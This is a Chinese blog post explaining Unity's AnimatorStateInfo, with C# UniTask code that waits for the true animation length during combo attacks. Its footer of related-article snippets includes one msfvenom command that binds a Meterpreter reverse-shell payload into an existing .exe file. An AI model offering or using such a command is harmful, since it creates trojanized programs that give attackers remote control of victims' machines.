【unity游戏开发】彻底理解AnimatorStateInfo,获取真实动画长度

news/2024/10/6 16:29:36 标签: unity, 哈希算法, 服务器

前言

前置知识:设置参数后,下一个循环才会切换对应动画,所以在下一个循环获取真实的动画长度
AnimatorStateInfo是结构体!值类型,要不断重复获取才是最新的

主要是自动设置trigger切换的动画自动切回上一个动画,需要在异步中等待动画结束,于是用传统方式:

//上一个动画没有退出时间,直接等一个循环就是真实动画
await UniTask.Yield(PlayerLoopTiming.Update);

//上一个动画有退出时间
AnimatorStateInfo currentAm = animator.GetCurrentAnimatorStateInfo(0);
while (currentAm.normalizedTime < 1f || animator.IsInTransition(0))
			{
				await UniTask.Yield(PlayerLoopTiming.Update);
			}

但是我用的连击动画为了好的手感将动画结束时间提前,这就导致进入这里的currentAm 可能是上一次的攻击动画
所以直接判断上一个动画是否执行完毕

AnimatorStateInfo重要属性

  • normalizedTime :动画播放进度,播放完则是1,每次循环+1,需要注意不循环的动画可能只到9.x就切换了
  • shortNameHash:状态名字 转换成的hash值
  • length:动画时长,单位秒
  • IsName: 将字符串转为hash进行判断
    在这里插入图片描述

代码

需要约定状态名,我的枚举名和状态名相等,连击的攻击则是枚举名 + combo数 + 1,连击参数是连击状态名+Combo

private async UniTask WaitForAnimator(Animator animator)
		{
			// 注意参数的设置也是下一轮才生效,所以先等一轮
			// 上一个动画没有退出时间,直接等一个循环就是真实动画
			await UniTask.Yield(PlayerLoopTiming.Update);
			//获取唯一状态标识
			var preStateKey = currentState.state.ToString().Contains("DoubleAttack") ?
			currentState.state.ToString() + animator.GetInteger(currentState.state.ToString() + "Combo") : lastState.state.ToString();
			Debug.Log(animator.GetInteger(currentState.state.ToString() + "Combo"));
			AnimatorStateInfo currentAm = animator.GetCurrentAnimatorStateInfo(0);
			//等到上一个攻击动画执行完毕
			while (currentAm.IsName(preStateKey))
			{
				await UniTask.Yield(PlayerLoopTiming.Update);
				currentAm = animator.GetCurrentAnimatorStateInfo(0);
			}

			var duration = currentAm.length;
			float preProcessTime = currentState.state.ToString().Contains("Attack") ? duration * 0.2f : 0; // 计算提前处理时间(动画总时长的 25%)
			// 等待动画完成
			float waitTime = duration - preProcessTime;
			if (waitTime > 0)
				await UniTask.Delay((int)(waitTime * 1000), DelayType.Realtime, PlayerLoopTiming.Update);
// 所有动画完成后切换状态
			ChangeState(lastBoolState);
		}
也可以直接保存shortNameHash作为状态名称 不推荐
private Dictionary<String, int> animalNameHashDic = new();
private async UniTask WaitForAnimator(Animator animator)
		{
			//获取唯一状态标识
			var key = currentState.state.ToString().Contains("Attack") ?
			currentState.state.ToString() + GameMgr.Instance.player.ComboCounter : currentState.state.ToString();

			AnimatorStateInfo currentAm = animator.GetCurrentAnimatorStateInfo(0);
			//真实的动画长度:shortNameHash相等
			if (animalNameHashDic.ContainsKey(key))
			{
				// Debug.Log(currentAm.shortNameHash);
				while (animalNameHashDic[key] == currentAm.shortNameHash)
				{
					await UniTask.Yield(PlayerLoopTiming.Update);
					currentAm = animator.GetCurrentAnimatorStateInfo(0);
				}
			}
			else
			{
				// 第一次就是真实的
				if (!animalNameHashDic.ContainsKey(key))
					animalNameHashDic.Add(key, currentAm.shortNameHash);
			}

			var duration = currentAm.length;
			float preProcessTime = currentState.state.ToString().Contains("Attack") ? duration * 0.2f : 0; // 计算提前处理时间(动画总时长的 25%)
			// 等待动画完成
			float waitTime = duration - preProcessTime;
			if (waitTime > 0)
				await UniTask.Delay((int)(waitTime * 1000), DelayType.Realtime, PlayerLoopTiming.Update);
		}

http://www.niftyadmin.cn/n/5691871.html

相关文章

Pandas -----------------------基础知识(六)

目录 数据类型 查看类型 类型转换 无法转换的值返回NaN 无法转换的值返回原值 datetime类型 datetime类型数据列作为df索引 Python中的timedelta类型 Pandas中的timedelta类型 pd.to_timedelta函数转换timedelta类型 timedelta类型数据作为df索引 分组groupby 分箱…

AI模型部署初认识

AI部署这个词儿大家肯定不陌生&#xff0c;可能有些小伙伴还不是很清楚这个是干嘛的&#xff0c;但总归是耳熟能详了。 近些年来&#xff0c;在深度学习算法已经足够卷卷卷之后&#xff0c;深度学习的另一个偏向于工程的方向–部署工业落地&#xff0c;才开始被谈论的多了起来…

鸿蒙 arkts json数据解析

在鸿蒙&#xff08;HarmonyOS&#xff09;开发中&#xff0c;ArkTS&#xff08;ArkUI TypeScript&#xff09;是用于构建鸿蒙应用的UI框架。ArkTS 允许开发者使用 TypeScript 语言来编写 UI 逻辑&#xff0c;并且提供了丰富的组件和API来支持开发。对于JSON数据的解析&#xff…

程序传入单片机的过程,以Avrdude为例分析

在市场上有各式各样的单片机&#xff0c;例如Arduino&#xff0c;51单片机&#xff0c;STM等。通常&#xff0c;我们都用其对应的IDE软件进行单片机的编程。这些软件既负责将程序代码转写成二进制代码&#xff0c;即机器语言&#xff0c;也负责将该二进制代码导入单片机。与此同…

使用rust写一个Web服务器——单线程版本

文章目录 监听TCP连接读取HTTP Reqeust返回HTTP Response返回HTML页面验证Request和选择性Response 使用rust编写一个基于HTTP协议的Web服务器。HTTP是更高层的通信协议&#xff0c;一般来说都基于TCP来构建的&#xff0c;除了HTTP/3&#xff0c;后者是基于UDP构建的协议 仓库…

定时器实验(Proteus 与Keil uVision联合仿真)

一、 &#xff08;1&#xff09;设置TMOD寄存器 T0工作在方式1&#xff0c;应使TMOD寄存器的M1、M001&#xff1b;应设置C/T*0&#xff0c;为定时器模式&#xff1b;对T0的运行控制仅由TR0来控制&#xff0c;应使相应的GATE位为0。定时器T1不使用&#xff0c;各相关位均设为…

固态硬盘数据丢失?别急,这4款恢复神器帮你找回“丢失的记忆”!

数据啊&#xff0c;对咱工作和生活那可老重要了。不过呢&#xff0c;固态硬盘里的数据说不定啥时候就因为不小心误操作啦&#xff0c;或者被病毒攻击啦&#xff0c;再或者硬件出毛病就丢了&#xff0c;这可真让人上火。还好哈&#xff0c;市场上有不少专门的数据恢复软件呢&…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe